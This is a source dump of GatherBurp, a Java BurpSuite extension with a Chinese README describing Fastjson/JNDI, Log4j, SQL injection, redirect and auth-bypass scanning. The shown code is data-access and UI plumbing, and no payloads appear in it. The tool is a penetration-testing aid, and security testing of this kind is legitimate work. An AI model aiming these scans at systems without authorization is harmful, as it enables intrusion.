Repository: kN6jq/gatherBurp
Branch: master
Commit: ec6d8aa0582e
Files: 78
Total size: 543.5 KB
Directory structure:
gitextract_wqm_s8bq/
├── .gitignore
├── .idea/
│ ├── .gitignore
│ ├── MarsCodeWorkspaceAppSettings.xml
│ ├── encodings.xml
│ ├── misc.xml
│ ├── runConfigurations.xml
│ ├── uiDesigner.xml
│ └── vcs.xml
├── README.md
├── pom.xml
└── src/
└── main/
├── java/
│ └── burp/
│ ├── BurpExtender.java
│ ├── bean/
│ │ ├── AuthBean.java
│ │ ├── ConfigBean.java
│ │ ├── FastjsonBean.java
│ │ ├── Log4jBean.java
│ │ ├── NucleiBean.java
│ │ ├── PermBean.java
│ │ ├── RouteBean.java
│ │ ├── SimilarDomainConfigBean.java
│ │ ├── SimilarDomainResultBean.java
│ │ ├── SimilarProjectBean.java
│ │ ├── SimilarUrlResultBean.java
│ │ └── SqlBean.java
│ ├── dao/
│ │ ├── ConfigDao.java
│ │ ├── FastjsonDao.java
│ │ ├── Log4jDao.java
│ │ ├── PermDao.java
│ │ ├── RouteDao.java
│ │ ├── SimilarDomainConfigDao.java
│ │ ├── SimilarDomainResultDao.java
│ │ ├── SimilarProjectDao.java
│ │ ├── SimilarUrlResultDao.java
│ │ └── SqlDao.java
│ ├── menu/
│ │ ├── AuthMenu.java
│ │ ├── FastjsonMenu.java
│ │ ├── Log4jMenu.java
│ │ ├── NucleiMenu.java
│ │ ├── PermMenu.java
│ │ ├── RouteMenu.java
│ │ ├── SqlMenu.java
│ │ └── TextProcessMenu.java
│ ├── ui/
│ │ ├── AuthUI.java
│ │ ├── ConfigUI.java
│ │ ├── FastjsonUI.java
│ │ ├── Log4jUI.java
│ │ ├── MainUI.java
│ │ ├── PermUI.java
│ │ ├── RouteUI.java
│ │ ├── SimilarHelper/
│ │ │ ├── CacheManager.java
│ │ │ ├── TableRenderer.java
│ │ │ ├── ThreadManager.java
│ │ │ ├── bean/
│ │ │ │ ├── Domain.java
│ │ │ │ ├── Project.java
│ │ │ │ └── URL.java
│ │ │ ├── dialog/
│ │ │ │ ├── DomainConfigDialog.java
│ │ │ │ └── ProjectManageDialog.java
│ │ │ ├── table/
│ │ │ │ ├── DomainTable.java
│ │ │ │ └── URLTable.java
│ │ │ └── tablemodel/
│ │ │ └── TableModel.java
│ │ ├── SimilarUI.java
│ │ ├── SocksUI.java
│ │ ├── SqlUI.java
│ │ ├── UIHandler.java
│ │ ├── UIHepler/
│ │ │ └── GridBagConstraintsHelper.java
│ │ └── UrlRedirectUI.java
│ └── utils/
│ ├── CustomScanIssue.java
│ ├── DbUtils.java
│ ├── ExpressionUtils.java
│ ├── I18nUtils.java
│ ├── JsonProcessorUtil.java
│ ├── JsonUtils.java
│ ├── Nuclei.java
│ ├── ResponseSimilarityMatcher.java
│ ├── RobotInput.java
│ ├── SmartRequestDetector.java
│ ├── UrlCacheUtil.java
│ └── Utils.java
└── resources/
└── logback.xml
================================================
FILE CONTENTS
================================================
================================================
FILE: .gitignore
================================================
target/
!.mvn/wrapper/maven-wrapper.jar
!**/src/main/**/target/
!**/src/test/**/target/
### IntelliJ IDEA ###
.idea/modules.xml
.idea/jarRepositories.xml
.idea/compiler.xml
.idea/libraries/
*.iws
*.iml
*.ipr
### Eclipse ###
.apt_generated
.classpath
.factorypath
.project
.settings
.springBeans
.sts4-cache
### NetBeans ###
/nbproject/private/
/nbbuild/
/dist/
/nbdist/
/.nb-gradle/
build/
!**/src/main/**/build/
!**/src/test/**/build/
### VS Code ###
.vscode/
### Mac OS ###
.DS_Store
================================================
FILE: .idea/.gitignore
================================================
# Default ignored files
/shelf/
/workspace.xml
# Editor-based HTTP Client requests
/httpRequests/
# Datasource local storage ignored files
/dataSources/
/dataSources.local.xml
# GitHub Copilot persisted chat sessions
/copilot/chatSessions
================================================
FILE: .idea/MarsCodeWorkspaceAppSettings.xml
================================================
================================================
FILE: .idea/encodings.xml
================================================
================================================
FILE: .idea/misc.xml
================================================
================================================
FILE: .idea/runConfigurations.xml
================================================
================================================
FILE: .idea/uiDesigner.xml
================================================
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
================================================
FILE: .idea/vcs.xml
================================================
================================================
FILE: README.md
================================================
# GatherBurp

[](LICENSE)
[](https://github.com/kN6jq/gatherBurp/stargazers)
[](https://github.com/kN6jq/gatherBurp/issues)
[](https://github.com/kN6jq/gatherBurp/releases)
**一款强大的 BurpSuite 安全测试扩展,集成多种漏洞检测与渗透测试功能**
[功能特点](#-功能特点) •
[快速开始](#-快速开始) •
[详细文档](#-详细文档) •
[贡献指南](#-贡献指南) •
[交流讨论](#-交流讨论)
## 📋 功能特点
GatherBurp 集成了多种安全测试功能,可大幅提升渗透测试和漏洞挖掘效率。
### 🔍 漏洞检测
- **Fastjson 漏洞扫描**
- 支持 DNS 回连检测
- 支持 JNDI 利用链检测
- 支持回显检测(Tomcat、Spring 等环境)
- 支持版本识别
- **SQL 注入检测**
- 支持 GET、POST 参数检测
- 支持 Cookie 参数检测
- 支持多层级 JSON 参数检测
- 支持报错注入、时间盲注、布尔盲注
- 支持自定义 payload 和检测规则
- **Log4j 漏洞检测**
- 支持 DNS 和 IP 回连检测
- 支持参数和 Header 检测
- 自定义 payload 列表
- **URL 重定向漏洞检测**
- 自动检测常见重定向参数
- 支持自定义 payload 和参数列表
- 结果可按 ID 数值排序
### 🛡️ 权限测试
- **越权访问检测**
- 支持原始请求、低权限请求和无权限请求对比
- 自动分析响应长度差异
- 结果可按 ID 数值排序
- **认证绕过测试**
- URI 特殊字符绕过
- Header 字段绕过
- Accept 头绕过
### 🌐 信息收集
- **多层级路由扫描**
- 支持复杂条件表达式过滤
- 自定义字典和规则
- 智能识别有效路径
### 🔧 辅助工具
- **Nuclei 模板生成**
- 一键生成 Nuclei 扫描模板
- 支持多种漏洞类型
- **代理池功能**
- 支持 SOCKS 代理
- 多代理自动切换
- **复杂数据提交**
- 支持 Base64 编码数据自动解码
- 解决序列化数据编码问题
- **工具快速调用**
- 支持自定义工具集成
- 支持占位符:{url}、{host}、{request}
## 🚀 快速开始
### 安装要求
- JDK 1.8+
- BurpSuite Professional 2021.x+
- Maven 3.6+ (仅编译时需要)
### 编译安装
```bash
# 克隆仓库
git clone https://github.com/kN6jq/gatherBurp.git
# 进入项目目录
cd gatherBurp
# 编译打包
mvn clean package
```
编译后的 JAR 文件位于 `target/` 目录下。
### 在 BurpSuite 中加载
1. 打开 BurpSuite Professional
2. 进入 `Extender` -> `Extensions` 标签
3. 点击 `Add` 按钮
4. 选择 `Java` 类型,并选择编译好的 JAR 文件
5. 点击 `Next` 完成加载
### 基本使用
所有功能可通过以下方式访问:
1. **右键菜单**:在 Proxy、Repeater 等模块中右键点击请求
2. **扩展标签页**:在 BurpSuite 顶部标签栏中的 `GatherBurp` 标签
## 📚 详细文档
### Fastjson 扫描

**使用步骤:**
1. 在 `配置` 标签页设置 DNS 和 IP
2. 右键选择 `FastJson` -> 选择检测类型:
- DNS 检测:适用于外网环境
- JNDI 检测:支持 DNS/IP 回连
- 回显检测:适用于内网环境
- 版本检测:识别 Fastjson 版本
**高级配置:**
- DNS 扫描:配置类型为 dns,使用 FUZZ 占位符
- 回显检测支持多种环境:Tomcat、Spring 等
### SQL 注入检测
**功能特点:**
- 支持多种注入类型检测
- 支持参数、Cookie、Header、JSON 数据
- 支持自定义 payload 和错误关键字
- 支持白名单域名过滤
- 结果可按 ID 数值排序
**使用方法:**
1. 右键选择 `SQL Inject`
2. 在标签页中配置检测参数
3. 查看检测结果和详细请求响应
### Log4j 漏洞检测
**功能特点:**
- 支持 DNS 和 IP 回连检测
- 支持参数和 Header 检测
- 自定义 payload 列表
- 结果可按 ID 数值排序
**使用方法:**
1. 右键选择 `Log4j Scan`
2. 在标签页中配置检测参数
3. 查看检测结果和详细请求响应
### 权限检测

**功能特点:**
- 支持原始请求、低权限请求和无权限请求对比
- 自动分析响应长度差异
- 结果可按 ID 数值排序
**使用方法:**
1. 右键选择 `Perm Check`
2. 在标签页中配置低权限和无权限认证信息
3. 查看检测结果和详细请求响应对比
### URL 重定向检测
**功能特点:**
- 自动检测常见重定向参数
- 支持自定义 payload 和参数列表
- 结果可按 ID 数值排序
**使用方法:**
1. 右键选择 `UrlRedirect`
2. 在标签页中配置检测参数
3. 查看检测结果和详细请求响应
### 多层级路由扫描
**表达式语法:**
```
code=200
body="hello"
title="druid"
headers="Content-Type: application/json"
# 复杂条件
code=200 && body="hello"
code!=200 && (body="hello" || title="druid")
```
**使用方法:**
1. 在 `Route` 标签页配置扫描参数
2. 设置字典和过滤条件
3. 开始扫描并查看结果
### 工具快速调用
**配置方法:**
1. 在 `配置` 标签页添加工具名称和命令
2. 支持以下占位符:
- `{url}`: 当前请求的完整 URL
- `{host}`: 当前请求的主机名
- `{request}`: 当前请求的临时文件路径
**使用方法:**
右键菜单中选择配置好的工具名称即可快速调用
## 🤝 贡献指南
我们非常欢迎各种形式的贡献:
- 🐛 **报告 Bug**:提交详细的 Bug 报告,包括复现步骤
- 💡 **功能建议**:提出新功能或改进建议
- 📝 **文档改进**:完善或更正文档内容
- 🔧 **代码贡献**:提交 Pull Request 修复问题或添加功能
**贡献流程:**
1. Fork 本仓库
2. 创建功能分支 (`git checkout -b feature/amazing-feature`)
3. 提交更改 (`git commit -m 'Add some amazing feature'`)
4. 推送到分支 (`git push origin feature/amazing-feature`)
5. 提交 Pull Request
## 👥 交流讨论
加入微信讨论群:
请移步 Issues 查看群聊二维码
## 📋 未来计划
- [ ] 更多漏洞检测模块
- [ ] 性能优化和代码重构
- [ ] 完善文档和使用示例
- [ ] 支持更多自定义配置选项
- [ ] 国际化支持
## ⚠️ 免责声明
本工具仅用于授权的安全测试和教育目的,请勿用于非法用途。使用本工具造成的任何后果由使用者自行承担。
## 📄 许可证
[MIT License](LICENSE)
---
如果觉得这个项目对您有帮助,请给个 Star ⭐️ 支持一下!
================================================
FILE: pom.xml
================================================
4.0.0
org.xm17
gatherBurp
1.2.0-SNAPSHOT
jar
gatherBurp
http://maven.apache.org
UTF-8
jitpack.io
https://jitpack.io
com.github.bit4woo
burp-api-common
master-SNAPSHOT
com.intellij
forms_rt
7.0.3
org.xerial
sqlite-jdbc
3.43.2.2
com.alibaba
fastjson
1.2.83
net.portswigger.burp.extender
burp-extender-api
2.3
org.springframework
spring-expression
4.3.22.RELEASE
maven-assembly-plugin
burp.BurpExtender
.
jar-with-dependencies
make-assembly
package
single
org.apache.maven.plugins
maven-compiler-plugin
8
8
================================================
FILE: src/main/java/burp/BurpExtender.java
================================================
package burp;
import burp.bean.ConfigBean;
import burp.menu.*;
import burp.ui.MainUI;
import burp.utils.RobotInput;
import burp.utils.Utils;
import javax.swing.*;
import java.awt.event.ActionEvent;
import java.io.PrintWriter;
import java.util.*;
import static burp.dao.ConfigDao.getToolConfig;
import static burp.utils.Utils.writeReqFile;
public class BurpExtender implements IBurpExtender, IContextMenuFactory, IHttpListener {
@Override
public void registerExtenderCallbacks(IBurpExtenderCallbacks iBurpExtenderCallbacks) {
Utils.callbacks = iBurpExtenderCallbacks;
Utils.helpers = iBurpExtenderCallbacks.getHelpers();
Utils.stdout = new PrintWriter(iBurpExtenderCallbacks.getStdout(), true);
Utils.stderr = new PrintWriter(iBurpExtenderCallbacks.getStderr(), true);
Utils.callbacks.setExtensionName(Utils.NAME);
Utils.callbacks.registerContextMenuFactory(this);
Utils.callbacks.registerHttpListener(this);
MainUI mainUI = new MainUI(Utils.callbacks);
Utils.callbacks.addSuiteTab(mainUI);
SwingUtilities.invokeLater(new Runnable() {
@Override
public void run() {
Utils.callbacks.customizeUiComponent(mainUI);
}
});
Utils.stdout.println("[" + Utils.NAME + " v" + Utils.VERSION + "] by " + Utils.AUTHOR + " loaded successfully.\n");
Utils.stdout.println("Tip: If any errors occur, delete the '.gather' directory in your user folder and reload the extension.\n");
Utils.stdout.println("GitHub: https://github.com/kN6jq/gatherBurp\n");
}
@Override
public List createMenuItems(IContextMenuInvocation iContextMenuInvocation) {
List listMenuItems = new ArrayList(1);
IHttpRequestResponse[] requestResponses = iContextMenuInvocation.getSelectedMessages();
IHttpRequestResponse baseRequestResponse = iContextMenuInvocation.getSelectedMessages()[0];
// 如果是个空的, 则返回null
if (baseRequestResponse.getHttpService() == null) {
return null;
}
List toolParam = getToolConfig();
for (ConfigBean config : toolParam) {
String name = config.getType();
String value = config.getValue();
if (!name.isEmpty() && !value.isEmpty()) {
JMenuItem jMenuItem = new JMenuItem(name);
jMenuItem.addActionListener(new AbstractAction() {
@Override
public void actionPerformed(ActionEvent e) {
if (value.contains("{url}")){
String url = Utils.helpers.analyzeRequest(baseRequestResponse).getUrl().toString();
try {
RobotInput ri = new RobotInput();
ri.inputString(value.replace("{url}", url));
} catch (Exception ex) {
Utils.stderr.println(ex.getMessage());
}
}else if (value.contains("{host}")) {
String host = baseRequestResponse.getHttpService().getHost();
try {
RobotInput ri = new RobotInput();
ri.inputString(value.replace("{host}", host));
} catch (Exception ex) {
Utils.stderr.println(ex.getMessage());
}
} else if (value.contains("{request}")) {
String requestFilePath = writeReqFile(baseRequestResponse);
if (requestFilePath != null) {
try {
RobotInput ri = new RobotInput();
ri.inputString(value.replace("{request}", requestFilePath));
} catch (Exception ex) {
Utils.stderr.println(ex.getMessage());
}
} else {
Utils.stderr.println("Failed to write request file.");
}
}
}
});
listMenuItems.add(jMenuItem);
}
}
JMenu fastjson = new JMenu("FastJson");
fastjson.add(new FastjsonMenu().FastjsonDnslogMenu(requestResponses));
fastjson.add(new FastjsonMenu().FastjsonEchoMenu(requestResponses));
fastjson.add(new FastjsonMenu().FastjsonJNDIMenu(requestResponses));
fastjson.add(new FastjsonMenu().FastjsonVersionMenu(requestResponses));
listMenuItems.add(fastjson);
listMenuItems.add(new SqlMenu(requestResponses));
listMenuItems.add(new AuthMenu(requestResponses));
listMenuItems.add(new RouteMenu(requestResponses));
listMenuItems.add(new Log4jMenu(requestResponses));
listMenuItems.add(new PermMenu(requestResponses));
listMenuItems.add(new NucleiMenu(requestResponses));
listMenuItems.add(new TextProcessMenu(iContextMenuInvocation));
return listMenuItems;
}
@Override
public void processHttpMessage(int toolFlag, boolean messageIsRequest, IHttpRequestResponse messageInfo) {
if (toolFlag == IBurpExtenderCallbacks.TOOL_REPEATER && messageIsRequest) {
byte[] request = messageInfo.getRequest();
String requestStr = Utils.helpers.bytesToString(request);
if (requestStr.contains("")) {
// 解码 base64 数据
String data = requestStr.substring(requestStr.indexOf("") + 9, requestStr.indexOf(""));
byte[] decodedData = Base64.getDecoder().decode(data);
// 构建新的请求体
byte[] newBytes = new byte[requestStr.indexOf("") + decodedData.length + (request.length - requestStr.indexOf("") - 10)];
System.arraycopy(request, 0, newBytes, 0, requestStr.indexOf(""));
System.arraycopy(decodedData, 0, newBytes, requestStr.indexOf(""), decodedData.length);
System.arraycopy(request, requestStr.indexOf("") + 10, newBytes, requestStr.indexOf("") + decodedData.length, request.length - requestStr.indexOf("") - 10);
// 更新 Content-Length
IRequestInfo analyzedRequest = Utils.helpers.analyzeRequest(newBytes);
List headers = new ArrayList<>(analyzedRequest.getHeaders());
int bodyOffset = analyzedRequest.getBodyOffset();
int contentLength = newBytes.length - bodyOffset;
// 更新或添加 Content-Length 头
boolean contentLengthFound = false;
for (int i = 0; i < headers.size(); i++) {
if (headers.get(i).startsWith("Content-Length:")) {
headers.set(i, "Content-Length: " + contentLength);
contentLengthFound = true;
break;
}
}
if (!contentLengthFound) {
headers.add("Content-Length: " + contentLength);
}
// 重建请求
byte[] body = new byte[newBytes.length - bodyOffset];
System.arraycopy(newBytes, bodyOffset, body, 0, body.length);
byte[] updatedRequest = Utils.helpers.buildHttpMessage(headers, body);
messageInfo.setRequest(updatedRequest);
}
}
}
}
================================================
FILE: src/main/java/burp/bean/AuthBean.java
================================================
package burp.bean;
public class AuthBean {
private String method;
private String path;
private String headers;
public AuthBean() {
}
public AuthBean(String method, String path, String headers) {
this.method = method;
this.path = path;
this.headers = headers;
}
public String getMethod() {
return method;
}
public void setMethod(String method) {
this.method = method;
}
public String getPath() {
return path;
}
public void setPath(String path) {
this.path = path;
}
public String getHeaders() {
return headers;
}
public void setHeaders(String headers) {
this.headers = headers;
}
}
================================================
FILE: src/main/java/burp/bean/ConfigBean.java
================================================
package burp.bean;
public class ConfigBean {
private Integer id;
private String module;
private String type;
private String value;
public ConfigBean() {
}
public ConfigBean(String module, String type, String value) {
this.module = module;
this.type = type;
this.value = value;
}
public Integer getId() {
return id;
}
public void setId(Integer id) {
this.id = id;
}
public String getModule() {
return module;
}
public void setModule(String module) {
this.module = module;
}
public String getType() {
return type;
}
public void setType(String type) {
this.type = type;
}
public String getValue() {
return value;
}
public void setValue(String value) {
this.value = value;
}
}
================================================
FILE: src/main/java/burp/bean/FastjsonBean.java
================================================
package burp.bean;
public class FastjsonBean {
private Integer id;
private String type;
private String value;
public FastjsonBean() {
}
public FastjsonBean(String type, String value) {
this.type = type;
this.value = value;
}
public Integer getId() {
return id;
}
public void setId(Integer id) {
this.id = id;
}
public String getType() {
return type;
}
public void setType(String type) {
this.type = type;
}
public String getValue() {
return value;
}
public void setValue(String value) {
this.value = value;
}
}
================================================
FILE: src/main/java/burp/bean/Log4jBean.java
================================================
package burp.bean;
public class Log4jBean {
private Integer id;
private String type;
private String value;
public Log4jBean() {
}
public Log4jBean(String type, String value) {
this.type = type;
this.value = value;
}
public Log4jBean(Integer id, String type, String value) {
this.id = id;
this.type = type;
this.value = value;
}
public Integer getId() {
return id;
}
public void setId(Integer id) {
this.id = id;
}
public String getType() {
return type;
}
public void setType(String type) {
this.type = type;
}
public String getValue() {
return value;
}
public void setValue(String value) {
this.value = value;
}
}
================================================
FILE: src/main/java/burp/bean/NucleiBean.java
================================================
package burp.bean;
public class NucleiBean {
private String id;
private String name;
private String author;
private String severity;
private String description;
private String reference;
private String tags;
private String method;
private String path;
private String header;
private String dsl;
private String raw;
public NucleiBean() {
}
public String getId() {
return id;
}
public void setId(String id) {
this.id = id;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String getAuthor() {
return author;
}
public void setAuthor(String author) {
this.author = author;
}
public String getSeverity() {
return severity;
}
public void setSeverity(String severity) {
this.severity = severity;
}
public String getDescription() {
return description;
}
public void setDescription(String description) {
this.description = description;
}
public String getReference() {
return reference;
}
public void setReference(String reference) {
this.reference = reference;
}
public String getTags() {
return tags;
}
public void setTags(String tags) {
this.tags = tags;
}
public String getMethod() {
return method;
}
public void setMethod(String method) {
this.method = method;
}
public String getPath() {
return path;
}
public void setPath(String path) {
this.path = path;
}
public String getHeader() {
return header;
}
public void setHeader(String header) {
this.header = header;
}
public String getDsl() {
return dsl;
}
public void setDsl(String dsl) {
this.dsl = dsl;
}
public String getRaw() {
return raw;
}
public void setRaw(String raw) {
this.raw = raw;
}
}
================================================
FILE: src/main/java/burp/bean/PermBean.java
================================================
package burp.bean;
/**
* @Author Xm17
* @Date 2024-06-22 10:47
*/
public class PermBean {
private int id;
private String type;
private String value;
public PermBean() {
}
public PermBean(String type, String value) {
this.type = type;
this.value = value;
}
public int getId() {
return id;
}
public void setId(int id) {
this.id = id;
}
public String getType() {
return type;
}
public void setType(String type) {
this.type = type;
}
public String getValue() {
return value;
}
public void setValue(String value) {
this.value = value;
}
}
================================================
FILE: src/main/java/burp/bean/RouteBean.java
================================================
package burp.bean;
public class RouteBean {
private int id;
private int enable;
private String name;
private String path;
private String express;
public RouteBean() {
}
public RouteBean(int id, int enable, String name, String path, String express) {
this.id = id;
this.enable = enable;
this.name = name;
this.path = path;
this.express = express;
}
public int getId() {
return id;
}
public void setId(int id) {
this.id = id;
}
public int getEnable() {
return enable;
}
public void setEnable(int enable) {
this.enable = enable;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String getPath() {
return path;
}
public void setPath(String path) {
this.path = path;
}
public String getExpress() {
return express;
}
public void setExpress(String express) {
this.express = express;
}
}
================================================
FILE: src/main/java/burp/bean/SimilarDomainConfigBean.java
================================================
package burp.bean;
public class SimilarDomainConfigBean {
private int id;
private int projectId;
private String domain;
private String createTime;
public SimilarDomainConfigBean() {
}
public SimilarDomainConfigBean(int projectId, String domain) {
this.projectId = projectId;
this.domain = domain;
}
public int getId() {
return id;
}
public void setId(int id) {
this.id = id;
}
public int getProjectId() {
return projectId;
}
public void setProjectId(int projectId) {
this.projectId = projectId;
}
public String getDomain() {
return domain;
}
public void setDomain(String domain) {
this.domain = domain;
}
public String getCreateTime() {
return createTime;
}
public void setCreateTime(String createTime) {
this.createTime = createTime;
}
}
================================================
FILE: src/main/java/burp/bean/SimilarDomainResultBean.java
================================================
package burp.bean;
public class SimilarDomainResultBean {
private int id;
private int projectId;
private String domain;
private String ip;
private String createTime;
public SimilarDomainResultBean() {
}
public SimilarDomainResultBean(int projectId, String domain, String ip) {
this.projectId = projectId;
this.domain = domain;
this.ip = ip;
}
public int getId() {
return id;
}
public void setId(int id) {
this.id = id;
}
public int getProjectId() {
return projectId;
}
public void setProjectId(int projectId) {
this.projectId = projectId;
}
public String getDomain() {
return domain;
}
public void setDomain(String domain) {
this.domain = domain;
}
public String getIp() {
return ip;
}
public void setIp(String ip) {
this.ip = ip;
}
public String getCreateTime() {
return createTime;
}
public void setCreateTime(String createTime) {
this.createTime = createTime;
}
}
================================================
FILE: src/main/java/burp/bean/SimilarProjectBean.java
================================================
package burp.bean;
public class SimilarProjectBean {
private int id;
private String name;
private String createTime;
public SimilarProjectBean() {
}
public SimilarProjectBean(String name) {
this.name = name;
}
public int getId() {
return id;
}
public void setId(int id) {
this.id = id;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String getCreateTime() {
return createTime;
}
public void setCreateTime(String createTime) {
this.createTime = createTime;
}
}
================================================
FILE: src/main/java/burp/bean/SimilarUrlResultBean.java
================================================
package burp.bean;
public class SimilarUrlResultBean {
private int id;
private int projectId;
private String url;
private String createTime;
public SimilarUrlResultBean() {
}
public SimilarUrlResultBean(int projectId, String url) {
this.projectId = projectId;
this.url = url;
}
public int getId() {
return id;
}
public void setId(int id) {
this.id = id;
}
public int getProjectId() {
return projectId;
}
public void setProjectId(int projectId) {
this.projectId = projectId;
}
public String getUrl() {
return url;
}
public void setUrl(String url) {
this.url = url;
}
public String getCreateTime() {
return createTime;
}
public void setCreateTime(String createTime) {
this.createTime = createTime;
}
}
================================================
FILE: src/main/java/burp/bean/SqlBean.java
================================================
package burp.bean;
public class SqlBean {
private int id;
private String type;
private String value;
public SqlBean() {
}
public SqlBean(String type, String value) {
this.type = type;
this.value = value;
}
public int getId() {
return id;
}
public void setId(int id) {
this.id = id;
}
public String getType() {
return type;
}
public void setType(String type) {
this.type = type;
}
public String getValue() {
return value;
}
public void setValue(String value) {
this.value = value;
}
}
================================================
FILE: src/main/java/burp/dao/ConfigDao.java
================================================
package burp.dao;
import burp.bean.ConfigBean;
import burp.utils.DbUtils;
import burp.utils.Utils;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.List;
public class ConfigDao {
// 根据模块和类型获取配置
public static ConfigBean getConfig(String module, String type) {
ConfigBean config = new ConfigBean();
String sql = "select value from config where module = ? and type = ? order by id desc limit 1";
Connection connection = null;
try {
connection = DbUtils.getConnection();
} catch (SQLException e) {
throw new RuntimeException(e);
}
PreparedStatement ps = null;
ResultSet resultSet = null;
try {
ps = connection.prepareStatement(sql);
ps.setString(1, module);
ps.setString(2, type);
resultSet = ps.executeQuery();
while (resultSet.next()) {
config.setValue(resultSet.getString("value"));
}
} catch (Exception e) {
Utils.stderr.println(e.getMessage());
} finally {
DbUtils.close(connection, ps, resultSet);
}
return config;
}
// 删除配置
public static void deleteConfig(String type) {
String sql = "delete from config where type = ?";
Connection connection = null;
try {
connection = DbUtils.getConnection();
} catch (SQLException e) {
throw new RuntimeException(e);
}
PreparedStatement ps = null;
try {
ps = connection.prepareStatement(sql);
ps.setString(1, type);
ps.executeUpdate();
} catch (Exception e) {
e.printStackTrace();
} finally {
DbUtils.close(connection, ps, null);
}
}
// 根据id删除工具配置
public static void deleteToolConfig(String type) {
String sql = "delete from config where type = ?";
Connection connection = null;
try {
connection = DbUtils.getConnection();
} catch (SQLException e) {
throw new RuntimeException(e);
}
PreparedStatement ps = null;
try {
ps = connection.prepareStatement(sql);
ps.setString(1, type);
ps.executeUpdate();
} catch (Exception e) {
e.printStackTrace();
} finally {
DbUtils.close(connection, ps, null);
}
}
// 根据类型更新配置
public static void updateConfig(ConfigBean config) {
String sql = "update config set value = ? where type = ? and module = ?";
Connection connection = null;
try {
connection = DbUtils.getConnection();
} catch (SQLException e) {
throw new RuntimeException(e);
}
PreparedStatement ps = null;
try {
ps = connection.prepareStatement(sql);
ps.setString(1, config.getValue());
ps.setString(2, config.getType());
ps.setString(3, config.getModule());
ps.executeUpdate();
} catch (Exception e) {
e.printStackTrace();
} finally {
DbUtils.close(connection, ps, null);
}
}
// 保存配置
public static void saveConfig(ConfigBean config) {
String sql = "INSERT OR REPLACE INTO config (module, type, value) VALUES (?, ?, ?)";
Connection connection = null;
try {
connection = DbUtils.getConnection();
} catch (SQLException e) {
throw new RuntimeException(e);
}
PreparedStatement ps = null;
try {
ps = connection.prepareStatement(sql);
ps.setString(1, config.getModule());
ps.setString(2, config.getType());
ps.setString(3, config.getValue());
ps.executeUpdate();
} catch (Exception e) {
Utils.stderr.println(e.getMessage());
} finally {
DbUtils.close(connection, ps, null);
}
}
// 获取工具配置
public static List getToolConfig() {
List configs = new ArrayList<>();
String sql = "select * from config where module = 'tool'";
Connection connection = null;
try {
connection = DbUtils.getConnection();
} catch (SQLException e) {
throw new RuntimeException(e);
}
PreparedStatement ps = null;
ResultSet resultSet = null;
try {
ps = connection.prepareStatement(sql);
resultSet = ps.executeQuery();
while (resultSet.next()) {
ConfigBean config = new ConfigBean();
config.setId(resultSet.getInt("id"));
config.setModule(resultSet.getString("module"));
config.setType(resultSet.getString("type"));
config.setValue(resultSet.getString("value"));
configs.add(config);
}
} catch (Exception e) {
Utils.stderr.println(e.getMessage());
} finally {
DbUtils.close(connection, ps, resultSet);
}
return configs;
}
}
================================================
FILE: src/main/java/burp/dao/FastjsonDao.java
================================================
package burp.dao;
import burp.bean.FastjsonBean;
import burp.utils.DbUtils;
import burp.utils.Utils;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.List;
public class FastjsonDao {
public static List getFastjsonListsByType(String type) {
List fastjsons = new ArrayList<>();
String sql = "select * from fastjson where type = ?";
Connection connection = null;
try {
connection = DbUtils.getConnection();
} catch (SQLException e) {
throw new RuntimeException(e);
}
PreparedStatement ps = null;
ResultSet resultSet = null;
try {
ps = connection.prepareStatement(sql);
ps.setString(1, type);
resultSet = ps.executeQuery();
while (resultSet.next()) {
FastjsonBean fastjson = new FastjsonBean();
fastjson.setId(resultSet.getInt("id"));
fastjson.setType(resultSet.getString("type"));
fastjson.setValue(resultSet.getString("url"));
fastjsons.add(fastjson);
}
} catch (Exception e) {
Utils.stderr.println(e.getMessage());
} finally {
DbUtils.close(connection, ps, resultSet);
}
return fastjsons;
}
}
================================================
FILE: src/main/java/burp/dao/Log4jDao.java
================================================
package burp.dao;
import burp.bean.Log4jBean;
import burp.utils.DbUtils;
import burp.utils.Utils;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.List;
public class Log4jDao {
// 获取多个
public static List getLog4jListsByType(String type) {
String sql = "SELECT * FROM log4j WHERE type = ?";
Connection connection = null;
try {
connection = DbUtils.getConnection();
} catch (SQLException e) {
throw new RuntimeException(e);
}
PreparedStatement ps = null;
ResultSet rs = null;
List log4jBeans = new ArrayList<>();
try {
ps = connection.prepareStatement(sql);
ps.setString(1, type);
rs = ps.executeQuery();
while (rs.next()) {
Log4jBean log4jBean = new Log4jBean();
log4jBean.setId(rs.getInt("id"));
log4jBean.setType(rs.getString("type"));
log4jBean.setValue(rs.getString("value"));
log4jBeans.add(log4jBean);
}
} catch (Exception e) {
Utils.stderr.println(e.getMessage());
} finally {
DbUtils.close(connection, ps, rs);
}
return log4jBeans;
}
// 获取一个
public static Log4jBean getLog4jListByType(String type) {
String sql = "SELECT * FROM log4j WHERE type = ?";
Connection connection = null;
try {
connection = DbUtils.getConnection();
} catch (SQLException e) {
throw new RuntimeException(e);
}
PreparedStatement ps = null;
ResultSet rs = null;
try {
ps = connection.prepareStatement(sql);
ps.setString(1, type);
rs = ps.executeQuery();
while (rs.next()) {
Log4jBean log4jBean = new Log4jBean();
log4jBean.setId(rs.getInt("id"));
log4jBean.setType(rs.getString("type"));
log4jBean.setValue(rs.getString("value"));
return log4jBean;
}
} catch (Exception e) {
Utils.stderr.println(e.getMessage());
} finally {
DbUtils.close(connection, ps, rs);
}
return null;
}
// 保存
public static void saveLog4j(Log4jBean log4jBean) {
String sql = "INSERT INTO log4j(type, value) VALUES(?, ?)";
Connection connection = null;
try {
connection = DbUtils.getConnection();
} catch (SQLException e) {
throw new RuntimeException(e);
}
PreparedStatement ps = null;
try {
ps = connection.prepareStatement(sql);
ps.setString(1, log4jBean.getType());
ps.setString(2, log4jBean.getValue());
ps.executeUpdate();
} catch (Exception e) {
Utils.stderr.println(e.getMessage());
} finally {
DbUtils.close(connection, ps, null);
}
}
// 更新
public static void updateLog4j(Log4jBean log4jBean) {
String sql = "UPDATE log4j SET value = ? WHERE type = ?";
Connection connection = null;
try {
connection = DbUtils.getConnection();
